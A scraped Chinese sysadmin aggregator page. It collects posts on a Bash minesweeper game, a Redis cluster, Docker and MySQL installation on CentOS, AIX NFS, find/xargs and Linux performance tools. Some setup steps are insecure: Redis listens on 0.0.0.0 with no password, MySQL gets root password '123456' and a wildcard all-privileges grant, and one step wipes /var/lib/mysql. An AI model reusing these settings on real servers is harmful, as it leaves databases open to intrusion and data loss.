数据专栏

智能大数据搬运工,你想要的我们都有

科技资讯:

科技学院:

科技百科:

科技书籍:

网站大全:

软件大全:

「深度学习福利」大神带你进阶工程师,立即查看>>>
我在编程教学方面不是专家,但当我想更好掌握某一样东西时,会试着找出让自己乐在其中的方法。比方说,当我想在 shell 编程方面更进一步时,我决定用 Bash 编写一个扫雷游戏来加以练习。
我在编程教学方面不是专家,但当我想更好掌握某一样东西时,会试着找出让自己乐在其中的方法。比方说,当我想在 shell 编程方面更进一步时,我决定用 Bash 编写一个扫雷游戏来加以练习。
如果你是一个有经验的 Bash 程序员,希望在提高技巧的同时乐在其中,那么请跟着我编写一个你的运行在终端中的扫雷游戏。完整代码可以在这个 GitHub 存储库中找到。
做好准备
在我编写任何代码之前,我列出了该游戏所必须的几个部分: 显示雷区 创建游戏逻辑 创建判断单元格是否可选的逻辑 记录可用和已查明(已排雷)单元格的个数 创建游戏结束逻辑
显示雷区
在扫雷中,游戏界面是一个由 2D 数组(列和行)组成的不透明小方格。每一格下都有可能藏有地雷。玩家的任务就是找到那些不含雷的方格,并且在这一过程中,不能点到地雷。这个 Bash 版本的扫雷使用 10x10 的矩阵,实际逻辑则由一个简单的 Bash 数组来完成。
首先,我先生成了一些随机数字。这将是地雷在雷区里的位置。控制地雷的数量,在开始编写代码之前,这么做会容易一些。实现这一功能的逻辑可以更好,但我这么做,是为了让游戏实现保持简洁,并有改进空间。(我编写这个游戏纯属娱乐,但如果你能将它修改的更好,我也是很乐意的。)
下面这些变量在整个过程中是不变的,声明它们是为了随机生成数字。就像下面的 a - g 的变量,它们会被用来计算可排除的地雷的值: # 变量 score=0 # 会用来存放游戏分数 # 下面这些变量,用来随机生成可排除地雷的实际值 a="1 10 -10 -1" b="-1 0 1" c="0 1" d="-1 0 1 -2 -3" e="1 2 20 21 10 0 -10 -20 -23 -2 -1" f="1 2 3 35 30 20 22 10 0 -10 -20 -25 -30 -35 -3 -2 -1" g="1 4 6 9 10 15 20 25 30 -30 -24 -11 -10 -9 -8 -7" # # 声明 declare -a room # 声明一个 room 数组,它用来表示雷区的每一格。
接下来,我会用列(0-9)和行(a-j)显示出游戏界面,并且使用一个 10x10 矩阵作为雷区。(M[10][10] 是一个索引从 0-99,有 100 个值的数组。) 如想了解更多关于 Bash 数组的内容,请阅读这本书那些关于 Bash 你所不了解的事: Bash 数组简介。
创建一个叫 plough 的函数,我们先将标题显示出来:两个空行、列头,和一行 -,以示意往下是游戏界面: printf '\n\n' printf '%s' " a b c d e f g h i j" printf '\n %s\n' "-----------------------------------------"
然后,我初始化一个计数器变量,叫 r,它会用来记录已显示多少横行。注意,稍后在游戏代码中,我们会用同一个变量 r,作为我们的数组索引。 在 Bash for 循环中,用 seq 命令 从 0 增加到 9。我用数字(d%)占位,来显示行号($row,由 seq 定义): r=0 # 计数器 for row in $(seq 0 9); do printf '%d ' "$row" # 显示 行数 0-9
在我们接着往下做之前,让我们看看到现在都做了什么。我们先横着显示 [a-j] 然后再将 [0-9] 的行号显示出来,我们会用这两个范围,来确定用户排雷的确切位置。
接着,在每行中,插入列,所以是时候写一个新的 for 循环了。这一循环管理着每一列,也就是说,实际上是生成游戏界面的每一格。我添加了一些辅助函数,你能在源码中看到它的完整实现。 对每一格来说,我们需要一些让它看起来像地雷的东西,所以我们先用一个点(.)来初始化空格。为了实现这一想法,我们用的是一个叫 is_null_field 的自定义函数。 同时,我们需要一个存储每一格具体值的数组,这儿会用到之前已定义的全局数组 room , 并用 变量 r作为索引。随着 r 的增加,遍历所有单元格,并随机部署地雷。 for col in $(seq 0 9); do ((r+=1)) # 循环完一列行数加一 is_null_field $r # 假设这里有个函数,它会检查单元格是否为空,为真,则此单元格初始值为点(.) printf '%s \e[33m%s\e[0m ' "|" "${room[$r]}" # 最后显示分隔符,注意,${room[$r]} 的第一个值为 '.',等于其初始值。 #结束 col 循环 done
最后,为了保持游戏界面整齐好看,我会在每行用一个竖线作为结尾,并在最后结束行循环: printf '%s\n' "|" # 显示出行分隔符 printf ' %s\n' "-----------------------------------------" # 结束行循环 done printf '\n\n'
完整的 plough 代码如下: plough() { r=0 printf '\n\n' printf '%s' " a b c d e f g h i j" printf '\n %s\n' "-----------------------------------------" for row in $(seq 0 9); do printf '%d ' "$row" for col in $(seq 0 9); do ((r+=1)) is_null_field $r printf '%s \e[33m%s\e[0m ' "|" "${room[$r]}" done printf '%s\n' "|" printf ' %s\n' "-----------------------------------------" done printf '\n\n' }
我花了点时间来思考,is_null_field 的具体功能是什么。让我们来看看,它到底能做些什么。在最开始,我们需要游戏有一个固定的状态。你可以随便选择个初始值,可以是一个数字或者任意字符。我最后决定,所有单元格的初始值为一个点(.),因为我觉得,这样会让游戏界面更好看。下面就是这一函数的完整代码: is_null_field() { local e=$1 # 在数组 room 中,我们已经用过循环变量 'r' 了,这次我们用 'e' if [[ -z "${room[$e]}" ]];then room[$r]="." #这里用点(.)来初始化每一个单元格 fi }
现在,我已经初始化了所有的格子,现在只要用一个很简单的函数就能得出当前游戏中还有多少单元格可以操作: get_free_fields() { free_fields=0 # 初始化变量 for n in $(seq 1 ${#room[@]}); do if [[ "${room[$n]}" = "." ]]; then # 检查当前单元格是否等于初始值(.),结果为真,则记为空余格子。 ((free_fields+=1)) fi done }
这是显示出来的游戏界面,[a-j] 为列,[0-9] 为行。
Minefield
创建玩家逻辑
玩家操作背后的逻辑在于,先从 stdin 中读取数据作为坐标,然后再找出对应位置实际包含的值。这里用到了 Bash 的参数扩展,来设法得到行列数。然后将代表列数的字母传给分支语句,从而得到其对应的列数。为了更好地理解这一过程,可以看看下面这段代码中,变量 o 所对应的值。 举个例子,玩家输入了 c3,这时 Bash 将其分成两个字符:c 和 3。为了简单起见,我跳过了如何处理无效输入的部分。 colm=${opt:0:1} # 得到第一个字符,一个字母 ro=${opt:1:1} # 得到第二个字符,一个整数 case $colm in a ) o=1;; # 最后,通过字母得到对应列数。 b ) o=2;; c ) o=3;; d ) o=4;; e ) o=5;; f ) o=6;; g ) o=7;; h ) o=8;; i ) o=9;; j ) o=10;; esac
下面的代码会计算用户所选单元格实际对应的数字,然后将结果储存在变量中。
这里也用到了很多的 shuf 命令 ,shuf 是一个专门用来生成随机序列的 Linux 命令。-i 选项后面需要提供需要打乱的数或者范围,-n 选项则规定输出结果最多需要返回几个值。Bash 中,可以在两个圆括号内进行数学计算,这里我们会多次用到。
还是沿用之前的例子,玩家输入了 c3。 接着,它被转化成了 ro=3 和 o=3。 之后,通过上面的分支语句代码, 将 c 转化为对应的整数,带进公式,以得到最终结果 i 的值。 i=$(((ro*10)+o)) # 遵循运算规则,算出最终值 is_free_field $i $(shuf -i 0-5 -n 1) # 调用自定义函数,判断其指向空/可选择单元格。
仔细观察这个计算过程,看看最终结果 i 是如何计算出来的: i=$(((ro*10)+o)) i=$(((3*10)+3))=$((30+3))=33
最后结果是 33。在我们的游戏界面显示出来,玩家输入坐标指向了第 33 个单元格,也就是在第 3 行(从 0 开始,否则这里变成 4),第 3 列。
创建判断单元格是否可选的逻辑
为了找到地雷,在将坐标转化,并找到实际位置之后,程序会检查这一单元格是否可选。如不可选,程序会显示一条警告信息,并要求玩家重新输入坐标。
在这段代码中,单元格是否可选,是由数组里对应的值是否为点(.)决定的。如果可选,则重置单元格对应的值,并更新分数。反之,因为其对应值不为点,则设置变量 not_allowed。为简单起见,游戏中警告消息这部分源码,我会留给读者们自己去探索。 is_free_field() { local f=$1 local val=$2 not_allowed=0 if [[ "${room[$f]}" = "." ]]; then room[$f]=$val score=$((score+val)) else not_allowed=1 fi }
如输入坐标有效,且对应位置为地雷,如下图所示。玩家输入 h6,游戏界面会出现一些随机生成的值。在发现地雷后,这些值会被加入用户得分。
Extracting mines
还记得我们开头定义的变量,a - g 吗,我会用它们来确定随机生成地雷的具体值。所以,根据玩家输入坐标,程序会根据(m)中随机生成的数,来生成周围其他单元格的值(如上图所示)。之后将所有值和初始输入坐标相加,最后结果放在 i(计算结果如上)中。
请注意下面代码中的 X,它是我们唯一的游戏结束标志。我们将它添加到随机列表中。在 shuf 命令的魔力下,X 可以在任意情况下出现,但如果你足够幸运的话,也可能一直不会出现。 m=$(shuf -e a b c d e f g X -n 1) # 将 X 添加到随机列表中,当 m=X,游戏结束 if [[ "$m" != "X" ]]; then # X 将会是我们爆炸地雷(游戏结束)的触发标志 for limit in ${!m}; do # !m 代表 m 变量的值 field=$(shuf -i 0-5 -n 1) # 然后再次获得一个随机数字 index=$((i+limit)) # 将 m 中的每一个值和 index 加起来,直到列表结尾 is_free_field $index $field done
我想要游戏界面中,所有随机显示出来的单元格,都靠近玩家选择的单元格。
Extracting mines
记录已选择和可用单元格的个数
这个程序需要记录游戏界面中哪些单元格是可选择的。否则,程序会一直让用户输入数据,即使所有单元格都被选中过。为了实现这一功能,我创建了一个叫 free_fields 的变量,初始值为 0。用一个 for 循环,记录下游戏界面中可选择单元格的数量。 如果单元格所对应的值为点(.),则 free_fields 加一。 get_free_fields() { free_fields=0 for n in $(seq 1 ${#room[@]}); do if [[ "${room[$n]}" = "." ]]; then ((free_fields+=1)) fi done }
等下,如果 free_fields=0 呢? 这意味着,玩家已选择过所有单元格。如果想更好理解这一部分,可以看看这里的源代码。 if [[ $free_fields -eq 0 ]]; then # 这意味着你已选择过所有格子 printf '\n\n\t%s: %s %d\n\n' "You Win" "you scored" "$score" exit 0 fi
创建游戏结束逻辑
对于游戏结束这种情况,我们这里使用了一些很巧妙的技巧,将结果在屏幕中央显示出来。我把这部分留给读者朋友们自己去探索。 if [[ "$m" = "X" ]]; then g=0 # 为了在参数扩展中使用它 room[$i]=X # 覆盖此位置原有的值,并将其赋值为X for j in {42..49}; do # 在游戏界面中央, out="gameover" k=${out:$g:1} # 在每一格中显示一个字母 room[$j]=${k^^} ((g+=1)) done fi
最后,我们显示出玩家最关心的两行。 if [[ "$m" = "X" ]]; then printf '\n\n\t%s: %s %d\n' "GAMEOVER" "you scored" "$score" printf '\n\n\t%s\n\n' "You were just $free_fields mines away." exit 0 fi
文章到这里就结束了,朋友们!如果你想了解更多,具体可以查看我的 GitHub 存储库,那儿有这个扫雷游戏的源代码,并且你还能找到更多用 Bash 编写的游戏。 我希望,这篇文章能激起你学习 Bash 的兴趣,并乐在其中。
系统运维
2019-11-18 23:55:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
环境 操作系统: CentOS7.7,关闭 firewalld 和 selinux Redis: 5.0.6 master 实例 10.0.4.110:6371 10.0.4.110:6372 10.0.4.110:6373 slave 实例 10.0.4.111:6371 10.0.4.111:6372 10.0.4.111:6373
编译 redis server 在 CentOS7.7 测试服务器上下载、编译 wget http://download.redis.io/releases/redis-5.0.6.tar.gz tar xzf redis-5.0.6.tar.gz cd redis-5.0.6 make 抽取安装文件 mkdir -p /opt/redis_cluster/{bin,conf} cp src/{redis-server,redis-cli,redis-benchmark} /opt/redis_cluster/bin/ # redis-check-rdb 和 redis-check-aof 与 redis-server 校验值一致,无需复制 创建 /opt/redis_cluster/conf/redis.conf,常用配置如下 bind 0.0.0.0 protected-mode yes tcp-backlog 511 timeout 3600 tcp-keepalive 300 daemonize no supervised no loglevel notice always-show-logo no save 900 1 save 300 10 save 60 10000 stop-writes-on-bgsave-error yes rdbcompression yes rdbchecksum yes dbfilename dump.rdb #masterauth "123456" replica-serve-stale-data yes replica-read-only yes repl-diskless-sync no repl-diskless-sync-delay 5 repl-disable-tcp-nodelay no replica-priority 100 #requirepass "123456" maxclients 10000 maxmemory 4294967296 maxmemory-policy volatile-lru lazyfree-lazy-eviction no lazyfree-lazy-expire no lazyfree-lazy-server-del no replica-lazy-flush no appendonly no appendfilename "appendonly.aof" appendfsync everysec no-appendfsync-on-rewrite no auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb aof-load-truncated yes aof-use-rdb-preamble yes lua-time-limit 5000 cluster-enabled yes cluster-node-timeout 5000 slowlog-log-slower-than 10000 slowlog-max-len 128 latency-monitor-threshold 0 notify-keyspace-events "" hash-max-ziplist-entries 512 hash-max-ziplist-value 64 list-max-ziplist-size -2 list-compress-depth 0 set-max-intset-entries 512 zset-max-ziplist-entries 128 zset-max-ziplist-value 64 hll-sparse-max-bytes 3000 stream-node-max-bytes 4096 stream-node-max-entries 100 activerehashing yes client-output-buffer-limit normal 0 0 0 client-output-buffer-limit replica 256mb 64mb 60 client-output-buffer-limit pubsub 32mb 8mb 60 hz 10 dynamic-hz yes aof-rewrite-incremental-fsync yes rdb-save-incremental-fsync yes 创建 /opt/redis_cluster/redis@.service,配置如下 [Unit] Description=Redis cluster -- node %i After=network.target [Service] ExecStartPre=/usr/bin/ls -d /var/lib/redis_cluster/%i ExecStart=/opt/redis_cluster/bin/redis-server /opt/redis_cluster/conf/redis.conf \ --daemonize no \ --port %i \ --pidfile /var/run/redis_%i.pid \ --logfile /var/log/redis_cluster/%i.log \ --dir /var/lib/redis_cluster/%i \ --cluster-config-file /var/lib/redis_cluster/%i/nodes.conf ExecStop=/opt/redis_cluster/bin/redis-cli -h 127.0.0.1 -p %i shutdown Restart=on-failure RestartSec=1 [Install] WantedBy=multi-user.target
部署 把测试机的 /opt/redis_cluster 目录复制到 10.0.4.110 和 10.0.4.111 上 scp -r /opt/redis_cluster 10.0.4.110:/opt/ scp -r /opt/redis_cluster 10.0.4.111:/opt/ 在 10.0.4.110 和 10.0.4.111 上都执行以下操作 mv /opt/redis_cluster/redis@.service /usr/lib/systemd/system/ systemctl daemon-reload mkdir -p /var/lib/redis_cluster/{6371..6373} mkdir -p /var/log/redis_cluster 在 10.0.4.110 和 10.0.4.111 上配置实例开机启动 systemctl enable redis@6371 systemctl enable redis@6372 systemctl enable redis@6373 在 10.0.4.110 和 10.0.4.111 上启动全部实例 systemctl start redis@6371 systemctl start redis@6372 systemctl start redis@6373
配置集群 在 10.0.4.110 或 10.0.4.111 上创建集群,指定三个 master 实例 /opt/redis_cluster/bin/redis-cli \ --cluster create 10.0.4.110:6371 10.0.4.110:6372 10.0.4.110:6373 输出如下图
同意配置,输入 "yes",回车后输出如下图
查看集群当前实例 /opt/redis_cluster/bin/redis-cli -p 6371 cluster nodes 输出如下图
添加 slave 实例 10.0.4.111:6371,同步 master 10.0.4.110:6371 /opt/redis_cluster/bin/redis-cli \ --cluster add-node 10.0.4.111:6371 10.0.4.110:6371 \ --cluster-slave \ --cluster-master-id 5be0edaf74d1eec50bbe675f9698397023a943b7 # 上述命令中,10.0.4.111:6371 是待添加实例,10.0.4.110:6371 是已存在集群中的任一实例 # --cluster-slave 指定添加 slave 实例 # --cluster-master-id 指定 10.0.4.110:6371 的 id,即本次添加实例的 master 输出如下图
添加 slave 实例 10.0.4.111:6372,同步 master 10.0.4.110:6372 /opt/redis_cluster/bin/redis-cli \ --cluster add-node 10.0.4.111:6372 10.0.4.110:6371 \ --cluster-slave \ --cluster-master-id 96f2225fdd054d8a16b31726fd1eb0b66c612646 输出如下图
添加 slave 实例 10.0.4.111:6373,同步 master 10.0.4.110:6373 /opt/redis_cluster/bin/redis-cli \ --cluster add-node 10.0.4.111:6373 10.0.4.110:6371 \ --cluster-slave \ --cluster-master-id cd60c238e66c8b4a31355bee4610444a47acef86 输出如下图
查看集群当前实例 /opt/redis_cluster/bin/redis-cli -p 6371 cluster nodes 输出如下图
参考 redis 官网
系统运维
2019-11-18 18:59:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Docker从1.13版本之后采用时间线的方式作为版本号,分为 社区版CE 和 企业版EE 。
社区版是免费提供给个人开发者和小型团体使用的,企业版会提供额外的收费服务,比如经过官方测试认证过的基础设施、容器、插件等。
1. 安装docker
1、卸载旧版本(如果安装过旧版本的话) $ sudo yum remove docker docker-common docker-selinux docker-engine
2、安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的 $ sudo yum install -y yum-utils device-mapper-persistent-data lvm2
3、设置yum源 官方源,网速太慢yum断连,不建议 $ sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo # 阿里源,国内速度快 (本文设置这个源,安装成功) $ sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
4、可以查看所有仓库中所有docker版本,并选择特定版本安装 $ yum list docker-ce --showduplicates | sort -r
5、安装docker
#由于repo中默认只开启stable仓库,故这里安装的是最新稳定版17.12.0 $ sudo yum install docker-ce
6、启动并加入开机启动 $ sudo systemctl start docker $ sudo systemctl enable docker
7、验证安装是否成功(有client和service两部分表示docker安装启动都成功了) $ docker version
安装出现的问题分析 CentOS 起初yum配置的是aliyun的源,如果为aliyun的源,务必配置DNS 8.8.8.8
编辑你的网卡信息 vim /etc/sysconfig/network-scripts/ifcfg-enoxxxx #每个人的机子都不一样
添加两行 DNS1=8.8.8.8 DNS2=223.5.5.5 可能是yum源的问题,试试更新repo,看看能否解决,如下: yum clean all yum makecache yum update
系统运维
2019-11-18 17:56:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
在需要共享目录的服务器上执行以下操作:
1.1 启动nfs服务
# startsrc -g nfs
# startsrc -s portmap
通过lssrc –g nfs命令查看,显示如下:
Subsystem Group PID Status
Biod nfs 712706 active
Nfsd nfs 635260 active
Rpc.mountd nfs 462932 active
Rpc.lockd nfs 639418 active
Rpc.statd nfs 757914 active
Nfsrgyd nfs inoperative
Gssd nfs inoperative
确保有5个active状态存在
1.2 配置NFS服务器
比如要共享 /oradata/bak,机器:192.168.19.3 能够mount这个nfs
# /usr/sbin/mknfsexp -d '/oradata/bak' '-B' '-S' 'sys,krb5p,krb5i,krb5,dh' -t 'ro' -c '192.168.19.3',-r '192.168.19.3'
之后,这些信息会记录到/etc/exports文件中
# more /etc/exports
/oradata/bak -sec=sys:krb5p:krb5i:krb5:dh,rw,access=192.168.19.3,root=192.168.19.3
1.3 导出文件目录
# exportfs -a 导出 /etc/exports 文件中的全部目录
1.4添加别名
将客服端的IP和主机名添加到/etc/hosts文件中
在客服端执行以下操作:
1. 启动nfs服务
# startsrc -g nfs
# startsrc -s portmap
2.创建挂载目录
在本地创建一个目录,如:/oradata/bak用来挂载服务器端共享的目录
3.添加别名
将服务器端的IP和主机名添加到/etc/hsots文件中
4.挂载目录
假如服务器ip:192.168.19.153
执行以下命令进行挂载
mount 192.168.19.153:/oradata/bak /oradata/bak
系统运维
2019-11-18 17:45:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
前言 需要安装MySQL5.6.16,的确没有安装过,找安装包都找了很久。还是安装成功了。记录下,方便以后再次安装有文档。 如果已经安装了MySQL,请把所有库导出来,并把一些不兼容的地方去掉 通过MySQL用户删除/var/lib/mysql/目录下所有文件 su mysql rm -fr /var/lib/mysql/* exit 安装MySQL yum install -y wget wget https://cdn.mysql.com/archives/mysql-5.6/MySQL-5.6.16-1.linux_glibc2.5.x86_64.rpm-bundle.tar yum remove mariadb-libs-1:5.5.60-1.el7_5.x86_64 yum install -y perl-ExtUtils-CBuilder perl-ExtUtils-MakeMaker tar -xvf MySQL-5.6.16-1.linux_glibc2.5.x86_64.rpm-bundle.tar rpm -ivh MySQL-server-5.6.16-1.linux_glibc2.5.x86_64.rpm rpm -ivh MySQL-client-5.6.16-1.linux_glibc2.5.x86_64.rpm rpm -ivh MySQL-devel-5.6.16-1.linux_glibc2.5.x86_64.rpm mysql_install_db chown -R mysql:mysql /var/lib/mysql service mysql start mysql -u root -p set password= password('123456'); grant all privileges on *.* to 'gateway'@'%' identified by 'gateway'; flush privileges;
细节点
MySQL官网安装页面 老版本的确不好找,找很很久。点击 MySQL历史版本下载地址
系统运维
2019-11-18 10:28:07
「深度学习福利」大神带你进阶工程师,立即查看>>>
find 是日常工具箱中功能强大、灵活的 命令 行程序之一。它如它名字所暗示的:查找符合你指定条件的文件和目录。借助 -exec 或 -delete 之类的参数,你可以让它对找到的文件进行操作。
在 命令 行提示系列的这一期中,你将会看到 find 命令的介绍,并学习如何使用内置命令或使用 xargs 命令处理文件。
查找文件
find 至少要加上查找的路径。例如,此命令将查找(并打印)系统上的每个文件: find /
由于一切皆文件,因此你会看到大量的输出。这可能无法帮助你找到所需的内容。你可以更改路径参数缩小范围,但这实际上并没有比使用 ls 命令更好。因此,你需要考虑要查找的内容。
也许你想在家目录中查找所有 JPEG 文件。 -name 参数允许你将结果限制为与给定模式匹配的文件。 find ~ -name '*jpg'
但是等等!如果其中一些扩展名是大写怎么办? -iname 类似于 -name,但不区分大小写: find ~ -iname '*jpg'
很好!但是 8.3 命名方案出自 1985 年。某些图片的扩展名可能是 .jpeg。幸运的是,我们可以将模式使用“或”(-o)进行组合。括号需要转义,以便使 find 命令而不是 shell 程序尝试解释它们。 find ~ \( -iname 'jpeg' -o -iname 'jpg' \)
更进一步。如果你有一些以 jpg 结尾的目录怎么办?(我不懂你为什么将目录命名为 bucketofjpg 而不是 pictures?)我们可以加上 -type 参数来仅查找文件: find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f
或者,也许你想找到那些名字奇怪的目录,以便之后可以重命名它们: find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type d
最近你拍摄了很多照片,因此使用 -mtime(修改时间)将范围缩小到最近一周修改过的文件。 -7 表示 7 天或更短时间内修改的所有文件。 find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7
使用 xargs 进行操作
xargs 命令从标准输入流中获取参数,并基于它们执行命令。继续使用上一节中的示例,假设你要将上周修改过的家目录中的所有 JPEG 文件复制到 U 盘,以便插到电子相册上。假设你已经将 U 盘挂载到 /media/photo_display。 find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7 -print0 | xargs -0 cp -t /media/photo_display
这里的 find 命令与以前的版本略有不同。-print0 命令让输出有一些更改:它不使用换行符,而是添加了一个 null 字符。xargs 的 -0(零)选项可调整解析以达到预期效果。这很重要,不然对包含空格、引号或其他特殊字符的文件名执行操作可能无法按预期进行。对文件采取任何操作时,都应使用这些选项。
cp 命令的 -t 参数很重要,因为 cp 通常要求目的地址在最后。你可以不使用 xargs 而使用 find 的 -exec 执行此操作,但是 xargs 的方式会更快,尤其是对于大量文件,因为它会单次调用 cp。
了解更多
这篇文章仅仅是 find 可以做的事情的表面。 find 支持基于权限、所有者、访问时间等的测试。它甚至可以将搜索路径中的文件与其他文件进行比较。将测试与布尔逻辑相结合,可以为你提供惊人的灵活性,以精确地找到你要查找的文件。使用内置命令或管道传递给 xargs,你可以快速处理大量文件。
本文地址: https://www.linuxprobe.com/find-xargs.html
系统运维
2019-11-18 09:52:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
(1)编写简单的脚步
(2)接收用户的参数
(3)判断用户的参数
(4)流程控制语句 if for
系统运维
2019-11-17 21:37:08
「深度学习福利」大神带你进阶工程师,立即查看>>>
(1)管道符命令: "命令A | 命令B"
(2)命令通配符:* ? [a-z] [A-Z]
(3)常用的转义字符\,", "",' '
(4)重要的环境变量 HOME, SHWLL, HISTSIZE,HISTFILESIZE,MAIL,LANG,RANDOM,PS1,PATH,EDITOR
(5)vim编辑器 命令模式,输入模式,末行模式
系统运维
2019-11-17 21:26:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Linux性能优化笔记
Optimizing Linux Performance: A Hands-On Guide to Linux Performance Tools
1 性能追踪建议
记录一切可以搜集的信息,即使其中的一些信息在当时看起来没有太大的用途。
2 性能工具:系统CPU
在Linux下,进程有可运行和阻塞两种状态。可运行进程有分为两类:已经获得CPU时间正在运行的一类,和等待CPU时间的一类。在Linux系统中,运行队列长度就是系统中可运行状态的进程数量(平均值)。被阻塞的进程也可以分为两类:被I/O阻塞的进程,以及被系统调用阻塞的进程。一个CPU一次只能执行一个进程。在进程调度时,CPU需要把当前进程的信息保存起来,从内存中加载下一个进程的信息。这个过程叫做上下文切换。上下文切换会导致CPU中的高速缓存和流水线刷新,对性能有负面影响。为了公平的分配CPU时间,Linux会周期性的中断进程。通常,这种周期性上下文切换的数据可以作为考察系统上下文切换数量的基准: cat /proc/interrupts | grep timer; sleep 10; cat /proc/interrupts | grep timer;
如果系统中断频率高于定时器的频率,说明进程经常陷入I/O等待或系统调用(比如休眠)等待之中。
在任意时刻,CPU可以处于以下几种状态: -空闲。CPU没有任务需要执行。 -执行用户代码,即“用户”时间。 -执行内核代码,即“系统”时间。 -执行低优先级的用户代码,即“nice”时间。 -等待I/O(磁盘或网络),即“iowait”时间。 -处理硬中断,即irq。 -处理软终端,softirq。
vmstat命令提供了系统CPU统计信息: vmstat [-n] [-s] [delay [count]]
| -n | 不再重复显示列标题 | | -s | 输出系统启动以来的累计数据 | | delay | 采样间隔 |
vmstat显示的各列如下:
| r | 运行队列长度 | | b | 等待I/O操作的进程数 | | forks | 创建新进程的次数 | | in | 系统中断次数 | | cs | 系统上下文切换次数 | | us | 用户代码消耗的时间占比,即用户时间和nice时间之和 | | sy | 系统代码消耗的时间占比,即系统时间、irq和softirq时间之和 | | wa | 等待I/O的时间占比 | | id | 空闲时间占比 |
top命令也提供了CPU信息: top [-d delay] [-n iter] [-i] [-b]
| -d delay | 更新间隔 | | -n iteration | 迭代次数 | | -i | 显示空闲进程 | | -b | 以批处理方式运行 |
top显示的各列如下:
| us | 用户时间 | | sy | 系统时间 | | ni | nice时间 | | id | 空闲时间 | | wa | 等待I/O的时间 | | hi | irq时间 | | si | softirq时间 | | load average | 系统平均负载 | | %CPU | 特定线程CPU占比 | | PRI | 进程优先级 | | NI | 进程nice值 | | WCHAN | 等待在哪个系统调用中 | | TIME | 进程消耗的CPU总时间(用户时间和系统时间) | | COMMAND | 进程执行的命令 | | s | 进程状态:睡眠S、运行R、僵尸Z、不可中断睡眠D、跟踪T |
另外一个常用的命令是procinfo: procinfo [-f] [-b] [-D] [-n sec] [-F file]
| -f | 全屏 | | -d | 显示变化量 | | -D | 显示总量 | | -n sec | 采用间隔 | | -F file | 输出到文件 |
top输出的各列为:
| user | CPU消耗的总用户时间 | | nice | CPU消耗的总nice时间 | | system | CPU消耗的总系统时间 | | idle | CPU消耗的总空闲时间 | | irq 0-N | irq编号,已启动次数即内存程序 |
mpstat命令可以查看指定CPU上的时间分配: mpstat [-P {cpu|ALL}] [delay [count]]
| -P | 监视哪个CPU,从0开始 | | delay | 采样间隔 |
mpstat输出的各列为:
| user | 用户时间 | | nice | nice时间 | | system | 系统时间 | | iowait | I/O时间 | | irq | irq时间 | | softirq | softirq时间 | | idle | 空闲时间 |
sar可以收集系统信息: sar [options] [delay [count]]
| -c | 报告每秒创建的进程数 | | -I {irq SUM ALL XALL } | 中断速度 | | -P {cpu ALL} | 指定CPU | | -q | 运行队列长度 | | -u | CPU使用情况 | | -w | 上下文切换数 | | -o file | 输出到文件 | | -f file | 从文件读取选项 | | delay | 采用间隔 | | count | 样本数 |
sar统计的CPU数据有:
| user | 用户时间 | | nice | nice时间 | | system | 系统时间 | | iowait | I/O时间 | | idle | 空闲时间 | | runq-sz | 运行队列长度 | | plist-sz | 进程数 | | ldavg-1 | 1分钟负载 | | ldavg-5 | 5分钟负载 | | ldavg-15 | 15分钟负载 | | proc/s | 每秒新建线程数(等于vmstat中的forks) | | cswch | 每秒上下文切换 | | intr/s | 每秒中断数 |
oprofile也可以收集系统信息: opcontrol [--start] [--stop] [--dump] opcontrol [--list-events] [-event=:name:count:unitmask:kernel:user:] opreport [-r] [-t]
| -s –start | 开始分析 | | -d –dump | 导出文件 | | –stop | 停止分析 | | -l –list-events | 列出可以采样的事件 | | -event=:name:count:unitmask:kernel:user: |   | | –vmlinux=kernel | 内核 |
opreport选项:
| -r –reverse-sort | 逆序显示 | | -t –threshold |   |
3 性能工具:系统内存
Linux将内存划分为“页”,这是内存管理的单位。下面的程序可以输出系统中一个页有多少字节: #include int main(int argc, char *argv[]) { printf("System page size: %d\n", getpagesize()); }
IA32架构下,页通常是4KB。为了提高性能,Linux可以使用HugePage来管理单元。HugePage通常是2MB。
为了提供更多的虚拟内存,当物理内存不足时,Linux将部分内存保存在磁盘上,这部分空间叫做交换分区(swap space)。Linux也会把文件系统中近期访问过的文件缓存在内存中,这部分叫做缓存(cache)。此外,为每个已经打开的文件,Linux会分配读写缓冲区,避免每次写入都执行磁盘IO。
vmstat命令可以提供内存统计信息: vmstat [-a] [-s] [-m]
| -a | 显示活跃内存和非活跃内存。非活跃内存是已分配未使用的内存。 | | -s | 打印vm表 | | -m | 输出分片信息,同/proc/slabinfo |
vmstat输出的各列如下:
| swpd | 交换到磁盘的内存总量 | | free | 未使用的内存 | | buff | 缓冲区大小,单位KB | | cache | 缓存大小,单位KB | | active | 活跃内存 | | inactive | 非活跃内存 | | si | 磁盘到内存的交换速率,单位KB/s | | so | 内存到磁盘的交换速率,单位KB/s | | pages paged in | 从磁盘读入缓冲区的内存,单位页 | | pages paged out | 从缓冲区写入磁盘的内存,单位页 | | used swap | 已使用的交换分区 | | free swap | 空闲交换分区 | | total swap | 交换分区总量 |
top命令也可以查看内存情况。top输出的各列如下:
| %MEM | 进程内存占比 | | VIRT | 进程虚拟内存总量,含已分配未使用的内存 | | SWAP | 进程使用的交换分区总量,单位KB | | RES | 进程使用的物理内存 | | CODE | 进程可执行代码使用的内存 | | DATA | 进程保存数据和堆栈使用的内存 | | SHR | 和其他进程共享的内存 | | nDRT | 脏页面数量 | | Mem: total, used, free | 内存总量、使用量、空闲量 | | swap: total, used, free | 交换分区总量、使用量、空闲量 | | buffers | 缓冲区大小 |
procinfo提供的内存信息如下:
| Total | 物理内存大小 | | Used | 已使用的物理内存 | | Free | 未使用的物理内存 | | Shared | 不再使用 | | Buffers | 缓冲区 | | Page in | 从磁盘读入的块数量 | | Page out | 向磁盘写入的块数量 | | Swap in | 从交换分区读入的页数量 | | Swap out | 向交换分区写入的页数量 |
